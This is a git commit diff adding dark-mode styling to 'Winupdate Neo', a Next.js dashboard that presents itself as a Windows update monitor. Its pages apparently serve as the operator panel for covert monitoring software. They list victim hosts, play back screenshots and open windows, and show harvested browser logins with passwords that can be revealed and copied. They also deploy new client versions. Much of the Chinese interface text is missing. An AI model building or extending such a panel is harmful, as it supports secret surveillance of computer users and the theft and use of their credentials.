feat: dark mode

This commit is contained in:
feie9454 2025-06-29 09:21:29 +08:00
parent 2a0115ea17
commit 81d73cf17c
10 changed files with 139 additions and 190 deletions

View File

@ -1,74 +0,0 @@
export default function ApiTest() {
return (
<div className="p-8">
<h1 className="text-2xl font-bold mb-4">Winupdate Neo API </h1>
<div className="space-y-4">
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2">API </h2>
<ul className="space-y-1 text-sm">
<li> GET /api/hosts - </li>
<li> POST /api/hosts/[hostname]/screenshots - </li>
<li> GET /api/hosts/[hostname]/screenshots - </li>
<li> POST /api/hosts/[hostname]/credentials - </li>
<li> GET /api/hosts/[hostname]/credentials - </li>
<li> GET /api/hosts/[hostname]/time-distribution - </li>
<li> GET /api/version - </li>
<li> POST /api/upload/version - </li>
<li> GET /api/screenshots/[fileId] - </li>
<li> GET /api/downloads/[fileId] - </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2"></h2>
<ul className="space-y-1 text-sm">
<li> Host - </li>
<li> Record - </li>
<li> Window - </li>
<li> Screenshot - </li>
<li> Credential - </li>
<li> Password - </li>
<li> Version - </li>
<li> Nssm - NSSM </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2"></h2>
<ul className="space-y-1 text-sm">
<li> DATABASE_URL - </li>
<li> AUTH_USERNAME - </li>
<li> AUTH_PASSWORD - </li>
<li> PORT - </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2">MinIO </h2>
<ul className="space-y-1 text-sm">
<li> 服务器: 192.168.5.13:9000</li>
<li> Bucket: winupdate</li>
<li> 存储结构: 按类型////</li>
<li> 截图路径: screenshots/////</li>
<li> 版本路径: versions///</li>
<li> </li>
<li> </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2"></h2>
<ul className="space-y-1 text-sm">
<li> </li>
<li> objectName </li>
<li> MinIO </li>
<li> </li>
<li> 访</li>
<li> </li>
</ul>
</div>
</div>
</div>
)
}

View File

@ -101,21 +101,21 @@ export default function DecodePage() {
return (
<div className="max-w-4xl mx-auto p-6">
<h1 className="text-2xl font-bold text-gray-800 mb-6">Base64 </h1>
<h1 className="text-2xl font-bold text-gray-800 dark:text-white mb-6">Base64 </h1>
{/* 文件上传区域 */}
<div className="mb-8">
<div className="border-2 border-dashed border-gray-300 rounded-lg p-6 text-center">
<label className="block mb-4 text-sm font-medium text-gray-700">
<div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg p-6 text-center">
<label className="block mb-4 text-sm font-medium text-gray-700 dark:text-gray-300">
</label>
<input
type="file"
accept=".txt,.log"
onChange={handleFileChange}
className="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4
className="block w-full text-sm text-gray-500 dark:text-gray-400 file:mr-4 file:py-2 file:px-4
file:rounded-md file:border-0 file:text-sm file:font-semibold
file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100
file:bg-blue-50 dark:file:bg-blue-900/50 file:text-blue-700 dark:file:text-blue-300 hover:file:bg-blue-100 dark:hover:file:bg-blue-800/50
cursor-pointer"
/>
</div>
@ -123,7 +123,7 @@ export default function DecodePage() {
{/* 错误提示 */}
{errorMessage && (
<div className="mb-6 p-4 bg-red-50 text-red-600 rounded-md">
<div className="mb-6 p-4 bg-red-50 dark:bg-red-900/50 text-red-600 dark:text-red-300 rounded-md">
{errorMessage}
</div>
)}
@ -131,20 +131,20 @@ export default function DecodePage() {
{/* 解码结果 */}
{decodedLines.length > 0 && (
<div className="space-y-2">
<h2 className="text-lg font-semibold text-gray-700 mb-4"></h2>
<h2 className="text-lg font-semibold text-gray-700 dark:text-gray-300 mb-4"></h2>
<div
ref={resultRef}
className="bg-white shadow rounded-lg overflow-auto max-h-[600px]"
className="bg-white dark:bg-gray-800 shadow rounded-lg overflow-auto max-h-[600px]"
>
<div className="divide-y divide-gray-100">
<div className="divide-y divide-gray-100 dark:divide-gray-700">
{decodedLines.map((line, index) => (
<div
key={index}
className={`py-1.5 px-4 hover:bg-gray-50 leading-tight ${
line.isError ? 'bg-red-50' : ''
className={`py-1.5 px-4 hover:bg-gray-50 dark:hover:bg-gray-700 leading-tight ${
line.isError ? 'bg-red-50 dark:bg-red-900/30' : ''
}`}
>
<pre className="whitespace-pre-wrap font-mono text-sm text-gray-800">
<pre className="whitespace-pre-wrap font-mono text-sm text-gray-800 dark:text-gray-200">
{line.content}
</pre>
</div>

View File

@ -24,3 +24,8 @@ body {
color: var(--foreground);
font-family: Arial, Helvetica, sans-serif;
}
/* 暗黑模式过渡动画 */
* {
transition: background-color 0.2s ease, border-color 0.2s ease, color 0.2s ease;
}

View File

@ -104,22 +104,22 @@ export default function RecordDatePicker({ value, dailyCounts, onChange }: Recor
};
return (
<div className="p-4 bg-white rounded shadow">
<div className="p-4 bg-white dark:bg-gray-800 rounded shadow">
{/* 月份切换头部 */}
<div className="flex items-center justify-between mb-2">
<button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200">
<button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
&lt;
</button>
<div className="font-semibold text-lg">
<div className="font-semibold text-lg text-gray-900 dark:text-white">
{currentYear} - {(currentMonth + 1).toString().padStart(2, '0')}
</div>
<button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200">
<button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
&gt;
</button>
</div>
{/* 星期标题 */}
<div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 mb-1">
<div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 dark:text-gray-400 mb-1">
{weekDays.map((day) => (
<div key={day}>{day}</div>
))}

View File

@ -150,7 +150,7 @@ export default function TimelineSlider({
left: `${startPercent}%`,
width: `${widthPercent}%`,
height: '100%',
backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB',
backgroundColor: segment.active ? '#4ADE80' : 'transparent',
borderLeft: '1px solid #E5E7EB',
borderRight: '1px solid #E5E7EB',
};
@ -178,7 +178,7 @@ export default function TimelineSlider({
>
{/* 底部轨道 */}
<div
className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 transform -translate-y-1/2 rounded-sm"
className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 dark:bg-gray-700 transform -translate-y-1/2 rounded-sm"
>
{/* Segments 模式 */}
{mode === 'segments' && segments.map((segment, index) => (
@ -209,7 +209,7 @@ export default function TimelineSlider({
>
{/* Tooltip */}
{showTooltip && (
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black bg-opacity-70 text-white text-xs rounded whitespace-nowrap">
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black dark:bg-gray-800 bg-opacity-70 dark:bg-opacity-90 text-white text-xs rounded whitespace-nowrap">
{formattedValue}
</div>
)}

View File

@ -504,38 +504,38 @@ export default function HostDetail() {
}, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]);
return (
<div className="min-h-screen bg-gray-50 overflow-x-hidden">
<div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
<div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
{/* 头部导航 */}
<div className="flex items-center justify-between mb-8">
<div>
<button
onClick={() => router.back()}
className="inline-flex items-center text-gray-600 hover:text-gray-900"
className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
>
<ArrowLeft className="h-5 w-5 mr-2" />
</button>
<h1 className="text-3xl font-semibold text-gray-900 mt-2">
<h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
{decodeURI(hostname)}
</h1>
</div>
{lastUpdate && (
<div className="text-sm text-gray-500">
<div className="text-sm text-gray-500 dark:text-gray-400">
: {formatDate(lastUpdate)}
</div>
)}
</div>
{/* 选项卡导航 */}
<div className="mb-6 border-b border-gray-200">
<div className="mb-6 border-b border-gray-200 dark:border-gray-700">
<nav className="-mb-px flex space-x-8">
<button
onClick={() => setActiveTab('screenshots')}
className={`py-2 px-1 border-b-2 font-medium text-sm ${
activeTab === 'screenshots'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`}
>
线
@ -545,7 +545,7 @@ export default function HostDetail() {
className={`py-2 px-1 border-b-2 font-medium text-sm ${
activeTab === 'credentials'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`}
>
@ -559,12 +559,12 @@ export default function HostDetail() {
{/* 小时分布滑块(时间分布) */}
<div className="mb-8">
<div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900"></h2>
<h2 className="text-lg font-medium text-gray-900 dark:text-white"></h2>
<button
onClick={fetchTimeDistribution}
className="p-2 rounded hover:bg-gray-100"
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
>
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingDistribution ? 'animate-spin' : ''}`} />
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
</button>
</div>
@ -586,7 +586,7 @@ export default function HostDetail() {
/>
</div>
) : (
<div className="text-gray-500 mt-4">...</div>
<div className="text-gray-500 dark:text-gray-400 mt-4">...</div>
)}
</div>
@ -594,15 +594,15 @@ export default function HostDetail() {
{showDetailTimeline && (
<div className="mb-8">
<div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900"></h2>
<h2 className="text-lg font-medium text-gray-900 dark:text-white"></h2>
<button
onClick={() => {
const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
fetchHourlyRecords(selectedSec, selectedSec + 3600);
}}
className="p-2 rounded hover:bg-gray-100"
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
>
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingRecords ? 'animate-spin' : ''}`} />
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
</button>
</div>
@ -616,14 +616,14 @@ export default function HostDetail() {
onChange={onDetailedSliderChange}
/>
) : (
<div className="text-gray-500">...</div>
<div className="text-gray-500 dark:text-gray-400">...</div>
)}
</div>
)}
{/* 图片预览区域及控制按钮 */}
{selectedRecord && (
<div className="bg-white rounded-lg shadow-sm p-6">
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
{/* 图片预览区域 */}
{selectedRecord.screenshots.map((screenshot, sIndex) => (
<div key={sIndex} className="relative mb-6">
@ -640,7 +640,7 @@ export default function HostDetail() {
</div>
{/* 图片说明 */}
<div className="absolute bottom-4 left-4 bg-black bg-opacity-60 text-white px-2 py-1 rounded">
<div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
<div className="text-sm">{screenshot.monitorName}</div>
<div className="text-xs">
{new Date(selectedRecord.timestamp).toLocaleString()}
@ -666,17 +666,17 @@ export default function HostDetail() {
{/* 控制按钮区域 */}
<div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
<label className="flex items-center space-x-1">
<span className="text-sm text-gray-600"></span>
<span className="text-sm text-gray-600 dark:text-gray-400"></span>
<input
type="number"
value={autoPlaySpeed}
onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
className="w-16 text-sm px-1 py-1 border rounded focus:outline-none"
className="w-16 text-sm px-1 py-1 border dark:border-gray-600 rounded focus:outline-none bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
min="100"
max="2000"
step="100"
/>
<span className="text-sm text-gray-600">ms</span>
<span className="text-sm text-gray-600 dark:text-gray-400">ms</span>
</label>
<button
onClick={toggleAutoPlay}
@ -688,19 +688,19 @@ export default function HostDetail() {
{/* 窗口信息 */}
<div className="w-full">
<h3 className="text-lg font-medium text-gray-900 mb-3"></h3>
<div className="bg-gray-50 rounded-md p-4">
<h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3"></h3>
<div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
{selectedRecord.windows.map((window, index) => (
<div key={index} className="p-4 bg-white rounded-md shadow-sm">
<div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
<div className="space-y-2">
<div className="font-medium text-gray-900">
<div className="font-medium text-gray-900 dark:text-white">
{window.title}
</div>
<div className="text-sm text-gray-500 break-all">
<div className="text-sm text-gray-500 dark:text-gray-400 break-all">
{window.path}
</div>
<div className="text-sm flex items-center text-gray-600">
<div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
: {formatMemory(window.memory)}
</div>
</div>
@ -716,9 +716,9 @@ export default function HostDetail() {
{/* 凭据信息选项卡 */}
{activeTab === 'credentials' && (
<div className="bg-white rounded-lg shadow-sm p-6">
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
<div className="flex items-center justify-between mb-6">
<h2 className="text-xl font-medium text-gray-900"></h2>
<h2 className="text-xl font-medium text-gray-900 dark:text-white"></h2>
<div className="flex space-x-2">
<button
onClick={fetchCredentials}
@ -735,40 +735,40 @@ export default function HostDetail() {
<div className="flex justify-center py-12">
<div className="animate-pulse flex flex-col items-center">
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
<p className="mt-2 text-gray-500">...</p>
<p className="mt-2 text-gray-500 dark:text-gray-400">...</p>
</div>
</div>
) : credentialsByUser.length === 0 ? (
<div className="py-12 flex flex-col items-center justify-center">
<ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
<p className="text-gray-500 mb-1"></p>
<p className="text-sm text-gray-400"></p>
<p className="text-gray-500 dark:text-gray-400 mb-1"></p>
<p className="text-sm text-gray-400 dark:text-gray-500"></p>
</div>
) : (
<div className="space-y-6">
{credentialsByUser.map((userGroup, index) => (
<div key={index} className="border border-gray-200 rounded-md overflow-hidden">
<div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
{/* 用户信息头部 */}
<div className="bg-gray-50 px-4 py-3">
<div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
<div className="flex items-center justify-between">
<div
className="flex items-center cursor-pointer"
onClick={() => toggleUserExpanded(userGroup.username)}
>
<User className="h-5 w-5 text-gray-500 mr-2" />
<h3 className="font-medium text-gray-900">{userGroup.username}</h3>
<div className="ml-3 text-sm text-gray-500">
<User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
<h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
<div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
({userGroup.browsers.length} , {userGroup.total} )
</div>
<ChevronDown
className={`h-5 w-5 text-gray-500 ml-2 transition-transform duration-200 ${
className={`h-5 w-5 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
expandedUsers.includes(userGroup.username) ? 'rotate-180' : ''
}`}
/>
</div>
{userGroup.lastSyncTime && (
<div className="text-xs text-gray-500">
<div className="text-xs text-gray-500 dark:text-gray-400">
: {formatDate(userGroup.lastSyncTime, 'short')}
</div>
)}
@ -777,11 +777,11 @@ export default function HostDetail() {
{/* 用户凭据内容 */}
{expandedUsers.includes(userGroup.username) && (
<div className="divide-y divide-gray-100">
<div className="divide-y divide-gray-100 dark:divide-gray-600">
{userGroup.browsers.map((browser) => (
<div
key={`${userGroup.username}-${browser.name}`}
className="px-4 py-3 hover:bg-gray-50"
className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
>
{/* 浏览器标题 */}
<div
@ -789,14 +789,14 @@ export default function HostDetail() {
onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
>
<div className="flex items-center">
<Globe className="h-4 w-4 text-gray-500 mr-2" />
<span className="font-medium text-gray-800">{browser.name}</span>
<span className="ml-2 text-sm text-gray-500">
<Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
<span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
<span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
({browser.credentials.length} )
</span>
</div>
<ChevronDown
className={`h-4 w-4 text-gray-500 ml-2 transition-transform duration-200 ${
className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
}`}
/>
@ -808,21 +808,21 @@ export default function HostDetail() {
{browser.credentials.map((cred) => (
<div
key={`${userGroup.username}-${browser.name}-${cred._id}`}
className="border border-gray-200 rounded-md overflow-hidden"
className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
>
{/* 凭据网站头部 */}
<div
className="bg-gray-50 px-3 py-2 flex items-center justify-between cursor-pointer"
className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
onClick={() => toggleCredentialExpanded(cred._id)}
>
<div className="flex items-center">
<Link className="h-4 w-4 text-gray-500 mr-2" />
<div className="text-sm font-medium text-gray-900 truncate max-w-md">
<Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
<div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
{cred.url}
</div>
</div>
<ChevronDown
className={`h-4 w-4 text-gray-500 transition-transform duration-200 ${
className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${
expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
}`}
/>
@ -830,17 +830,17 @@ export default function HostDetail() {
{/* 凭据详情 */}
{expandedCredentials.includes(cred._id) && (
<div className="bg-white px-3 py-2">
<div className="bg-white dark:bg-gray-800 px-3 py-2">
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
<div className="flex items-center">
<span className="text-sm text-gray-500 w-16">:</span>
<span className="text-sm font-medium ml-2">{cred.login}</span>
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">:</span>
<span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
</div>
<div className="flex flex-col">
<div className="flex items-center mb-1">
<span className="text-sm text-gray-500 w-16">:</span>
<span className="text-xs bg-gray-100 text-gray-600 rounded px-1">
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">:</span>
<span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
{cred.passwords.length}
</span>
</div>
@ -851,12 +851,12 @@ export default function HostDetail() {
key={pwdIndex}
className="flex items-center group relative"
>
<span className="text-xs text-gray-400 w-24 flex-shrink-0">
<span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
{formatDate(pwd.timestamp, 'short')}
</span>
<div className="flex-1 flex items-center">
<span
className="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1 cursor-pointer"
className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
onClick={() =>
revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
? null
@ -870,7 +870,7 @@ export default function HostDetail() {
</span>
<button
onClick={() => copyToClipboard(pwd.value)}
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 hover:text-gray-700"
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
>
<Clipboard className="h-4 w-4" />
</button>

View File

@ -13,8 +13,8 @@ const geistMono = Geist_Mono({
});
export const metadata: Metadata = {
title: "Create Next App",
description: "Generated by create next app",
title: "屏幕截图监控系统",
description: "Windows更新监控系统",
};
export default function RootLayout({
@ -23,9 +23,9 @@ export default function RootLayout({
children: React.ReactNode;
}>) {
return (
<html lang="en">
<html lang="zh-CN">
<body
className={`${geistSans.variable} ${geistMono.variable} antialiased`}
className={`${geistSans.variable} ${geistMono.variable} antialiased bg-white dark:bg-gray-900 text-gray-900 dark:text-white`}
>
{children}
</body>

View File

@ -48,33 +48,33 @@ export default function Home() {
}, []);
return (
<div className="min-h-screen bg-gray-50">
<div className="min-h-screen bg-gray-50 dark:bg-gray-900">
<div className="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8">
<div className="px-4 py-6 sm:px-0">
<h1 className="text-3xl font-semibold text-gray-900 mb-8"></h1>
<h1 className="text-3xl font-semibold text-gray-900 dark:text-white mb-8"></h1>
{/* 主机列表卡片网格 */}
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
{hosts.map((host) => (
<div
key={host.hostname}
className="bg-white shadow-sm rounded-lg overflow-hidden hover:shadow-md transition-shadow cursor-pointer"
className="bg-white dark:bg-gray-800 shadow-sm rounded-lg overflow-hidden hover:shadow-md dark:hover:shadow-lg transition-shadow cursor-pointer"
onClick={() => navigateToHost(host.hostname)}
>
<div className="px-4 py-5 sm:p-6">
<div className="flex items-center justify-between">
<div>
<h3 className="text-lg font-medium text-gray-900">
<h3 className="text-lg font-medium text-gray-900 dark:text-white">
{decodeURI(host.hostname)}
</h3>
<p className="mt-1 text-sm text-gray-500">
<p className="mt-1 text-sm text-gray-500 dark:text-gray-400">
: {formatDate(host.lastUpdate)}
</p>
</div>
<div className="flex items-center">
<div
className={`h-3 w-3 rounded-full ${
isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300'
isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300 dark:bg-gray-600'
}`}
></div>
</div>
@ -87,22 +87,22 @@ export default function Home() {
{/* 加载状态 */}
{loading && (
<div className="flex justify-center items-center mt-8">
<div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900"></div>
<div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900 dark:border-white"></div>
</div>
)}
{/* 错误提示 */}
{error && (
<div className="mt-8 bg-red-50 p-4 rounded-md">
<div className="mt-8 bg-red-50 dark:bg-red-900/50 p-4 rounded-md">
<div className="flex">
<div className="flex-shrink-0">
<XCircle className="h-5 w-5 text-red-400" />
<XCircle className="h-5 w-5 text-red-400 dark:text-red-300" />
</div>
<div className="ml-3">
<h3 className="text-sm font-medium text-red-800">
<h3 className="text-sm font-medium text-red-800 dark:text-red-200">
</h3>
<div className="mt-2 text-sm text-red-700">
<div className="mt-2 text-sm text-red-700 dark:text-red-300">
<p>{error}</p>
</div>
</div>

View File

@ -100,69 +100,69 @@ export default function UploadPage() {
return (
<div className="max-w-3xl mx-auto p-6">
<h1 className="text-3xl font-bold text-gray-800 mb-8"></h1>
<h1 className="text-3xl font-bold text-gray-800 dark:text-white mb-8"></h1>
{/* 当前版本信息卡片 */}
<div className="bg-white rounded-lg shadow-md mb-8 overflow-hidden">
<div className="bg-gray-50 px-6 py-4 border-b">
<h2 className="text-xl font-semibold text-gray-700"></h2>
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-md mb-8 overflow-hidden">
<div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
<h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200"></h2>
</div>
<div className="p-6">
{currentVersion ? (
<div className="space-y-3">
<div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">:</span>
<span className="font-medium text-gray-800 col-span-10">{currentVersion.version}</span>
<span className="text-gray-600 dark:text-gray-400 col-span-2">:</span>
<span className="font-medium text-gray-800 dark:text-gray-200 col-span-10">{currentVersion.version}</span>
</div>
<div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">:</span>
<span className="text-gray-600 dark:text-gray-400 col-span-2">:</span>
<a
href={currentVersion.download_url}
className="text-blue-600 hover:text-blue-800 break-all col-span-10"
className="text-blue-600 dark:text-blue-400 hover:text-blue-800 dark:hover:text-blue-300 break-all col-span-10"
>
{currentVersion.download_url}
</a>
</div>
<div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">:</span>
<span className="font-mono text-sm text-gray-700 break-all col-span-10">
<span className="text-gray-600 dark:text-gray-400 col-span-2">:</span>
<span className="font-mono text-sm text-gray-700 dark:text-gray-300 break-all col-span-10">
{currentVersion.checksum}
</span>
</div>
</div>
) : (
<div className="text-gray-500 italic"></div>
<div className="text-gray-500 dark:text-gray-400 italic"></div>
)}
</div>
</div>
{/* 上传新版本表单 */}
<div className="bg-white rounded-lg shadow-md">
<div className="bg-gray-50 px-6 py-4 border-b">
<h2 className="text-xl font-semibold text-gray-700"></h2>
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-md">
<div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
<h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200"></h2>
</div>
<div className="p-6 space-y-6">
{/* 版本号输入 */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-2">
<label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
</label>
<input
value={newVersion}
onChange={(e) => setNewVersion(e.target.value)}
type="text"
className="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"
className="w-full px-4 py-2 border dark:border-gray-600 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
placeholder="例如: 1.0.0"
/>
</div>
{/* 文件上传 */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-2">
<label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
</label>
<div className="mt-1">
<div className="border-2 border-dashed border-gray-300 rounded-lg px-6 py-8">
<div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg px-6 py-8">
<div className="text-center">
<input
type="file"
@ -176,14 +176,14 @@ export default function UploadPage() {
>
</label>
<p className="mt-2 text-sm text-gray-600">
<p className="mt-2 text-sm text-gray-600 dark:text-gray-400">
{versionFile?.name || '未选择文件'}
</p>
</div>
{versionFileHash && (
<div className="mt-4 text-center">
<p className="text-xs text-gray-500">SHA-256 :</p>
<p className="font-mono text-xs text-gray-600 break-all">
<p className="text-xs text-gray-500 dark:text-gray-400">SHA-256 :</p>
<p className="font-mono text-xs text-gray-600 dark:text-gray-400 break-all">
{versionFileHash}
</p>
</div>
@ -194,14 +194,14 @@ export default function UploadPage() {
{/* 错误提示 */}
{uploadError && (
<div className="text-red-600 text-sm">
<div className="text-red-600 dark:text-red-400 text-sm">
{uploadError}
</div>
)}
{/* 成功提示 */}
{uploadSuccess && (
<div className="bg-green-50 text-green-800 px-4 py-2 rounded-md text-sm">
<div className="bg-green-50 dark:bg-green-900/50 text-green-800 dark:text-green-200 px-4 py-2 rounded-md text-sm">
</div>
)}
@ -211,7 +211,7 @@ export default function UploadPage() {
<button
onClick={uploadVersion}
disabled={!canUploadVersion}
className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed transition-colors"
className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 dark:disabled:bg-gray-600 disabled:cursor-not-allowed transition-colors"
>
{isUploading && (
<svg className="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">

18
tailwind.config.js Normal file
View File

@ -0,0 +1,18 @@
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
'./pages/**/*.{js,ts,jsx,tsx,mdx}',
'./components/**/*.{js,ts,jsx,tsx,mdx}',
'./app/**/*.{js,ts,jsx,tsx,mdx}',
],
darkMode: 'class', // 使用类模式,允许手动切换
theme: {
extend: {
colors: {
background: 'var(--background)',
foreground: 'var(--foreground)',
},
},
},
plugins: [],
}